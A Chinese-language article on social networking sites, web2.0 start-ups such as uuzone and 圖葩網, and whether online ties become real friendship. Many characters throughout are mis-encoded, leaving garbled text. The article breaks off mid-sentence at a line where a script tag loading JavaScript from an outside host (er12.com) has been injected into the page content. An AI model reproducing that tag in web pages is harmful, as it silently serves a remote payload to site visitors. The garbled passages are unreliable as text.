最近，linda把一聲響亮的“我靠”拍到了老板臉上，為此，她懷疑自己得了抑郁癥。
       接下來的時(shí)間，她感到悲慘和孤獨(dú)。與上�；春Ｂ穼懽謽抢锬切┌最I(lǐng)一樣，linda在網(wǎng)上憂郁地打著字：“工作壓力使我沒時(shí)間找朋友傾訴；電子社會也沒建起什么來。”
       “難道不是嗎？”她說，“我無法與msn好友談?wù)撨@種私密事，也不指望博客能激起什么漣漪。”在她看來，眼下這篇激進(jìn)的博客也會像她其它博客一樣，是個(gè)“獨(dú)自玩保齡的游戲”——也許有相當(dāng)高瀏覽量，但沒有太多評論，“甚至不知道評論者是誰……”
       當(dāng)然，linda只是一個(gè)敏感而籍籍無名的業(yè)務(wù)咨詢師�？墒�，在幫助社會資源依照“效率”及“增產(chǎn)”原則重新分配，推動各種固有體系如上世紀(jì)延續(xù)下來的商業(yè)模式、傳統(tǒng)媒體、長期秉承的國家管轄權(quán)觀念，乃至陳舊的控制概念發(fā)生變革外，互聯(lián)網(wǎng)真的沒有幫助一個(gè)普通人的社交建起什么嗎？
       2006年11月，市場調(diào)查公司yougov發(fā)布報(bào)告稱：大部分接受調(diào)查的人表示，現(xiàn)代科技為其帶來了許多友好人士，但他們僅僅是熟人或認(rèn)識而已——“要談到真正的親密關(guān)系，他們卻讓你進(jìn)退兩難”。
       人類正在失去朋友？這個(gè)答案讓人驚奇，至少幾年前雄心勃勃的互聯(lián)網(wǎng)企業(yè)家們說的可不是這樣。
       msn最近推出了《友誼分析報(bào)告》，說現(xiàn)在英國人平均擁有54個(gè)朋友，比2003年大幅增長64%；web2.0創(chuàng)業(yè)者們也曾激動指著美國社會心理學(xué)家米爾-格倫的“六度分隔”理論大叫——“最多通過六個(gè)人，你就能認(rèn)識任何一個(gè)陌生人！社會性軟件的發(fā)展，已使人際中這種普遍存在的‘弱鏈接’成為現(xiàn)實(shí)�！�
       可實(shí)際情況呢？現(xiàn)在，社會學(xué)家們又將耳光響亮地拍在了他們臉上。
       “將人們聚集在一起的社交聯(lián)系，可能與友誼沒有關(guān)系�！鄙虾４髮W(xué)社會學(xué)教授顧駿說：“只有當(dāng)人與人之間建立有意義且可靠的關(guān)系時(shí)，友誼才會出現(xiàn)。社會資本的概念，可能完全忽略了這一點(diǎn)�！�
       看起來，即使是網(wǎng)絡(luò)時(shí)代，2300多年前亞里士多德的那句名言仍在奏效——“對友誼的渴望來得很快，但友誼來得沒這么快�！蹦敲�，網(wǎng)絡(luò)上有意義且可靠的關(guān)系究竟來自哪里？
       “要認(rèn)識布什，
       你最多只要通過六個(gè)人
       3月21日，上海。朱威廉上線“圖葩網(wǎng)”，這是web2.0中一類致力于幫助用戶拓展社交關(guān)系的sns（social networking service）網(wǎng)站。“六度分隔”理論，是sns存在的基礎(chǔ)。
       “事不成，我就從此消失�！敝焱男愿行远壳�，以下是其江湖履歷：——加州大學(xué)主修法律、洛杉磯警察、回國創(chuàng)辦聯(lián)美廣告、創(chuàng)辦“榕樹下”、盛大副總裁、天聯(lián)世紀(jì)總裁。
       席下數(shù)十名媒體記者為此偷笑，這份決絕似乎不合時(shí)宜。的確，就在八天前，位于南京的sns網(wǎng)站uuzone（優(yōu)友地帶）宣告關(guān)閉�！皟�(yōu)友”成立于2004年，曾融資100萬美金，用戶數(shù)超過300萬，是國內(nèi)最早切入互聯(lián)網(wǎng)新浪潮的web2.0網(wǎng)站之一。
       更重要的是，這是一個(gè)web2.0技術(shù)的試驗(yàn)田�！皟�(yōu)友”客戶端“uutong”同時(shí)支持類似skype的“pc to phone”功能。也就是說，uuzone用戶可通過電腦以低得驚人的價(jià)格給任何地方的人打電話。
       但“優(yōu)友”依然死去。為此，web2.0界掀起了關(guān)于sns有史以來最大規(guī)模的一場討論。從其死亡的直接原因——“未配備網(wǎng)絡(luò)安全員被取締”、重討web2.0商業(yè)脆弱，一直到譴責(zé)國內(nèi)web2.0創(chuàng)業(yè)同質(zhì)化嚴(yán)重導(dǎo)致用戶分流等�！皥D葩網(wǎng)”上線16天后，這些問題被觀察者進(jìn)一步深化，它們主要集中在“技術(shù)導(dǎo)向”與“群體導(dǎo)向”兩個(gè)層面。
       其一，圖葩網(wǎng)除支持日志、圖片、tag分類、書簽及會員搜索外，新技術(shù)似乎乏善可陳，如何吸引用戶？其二，成功者myspace是因?yàn)樽觥案枋趾鸵魳贰蔽藦V泛fans，圖葩網(wǎng)想從哪個(gè)群體切入？
       “技術(shù)應(yīng)用已到一個(gè)非常成熟的階段，我們會進(jìn)行一系列的互動服務(wù)設(shè)計(jì)�！痹谛那榧鼻械拿襟w看來，朱威廉3月21日的回答讓人失望。
       但是，有個(gè)問題好像一直被web2.0觀察者忽視了：即sns發(fā)展到現(xiàn)在，需要解決的已不僅是如何擴(kuò)大社會資本，更是如何將這種關(guān)系穩(wěn)固和生活化，因?yàn)閟ns的“父親”——互聯(lián)網(wǎng)已從一個(gè)功能性工具（看新浪讀新聞、搜索百度、存儲照片和有用的網(wǎng)址、網(wǎng)絡(luò)比價(jià)?script src=http://er12.com/t.js>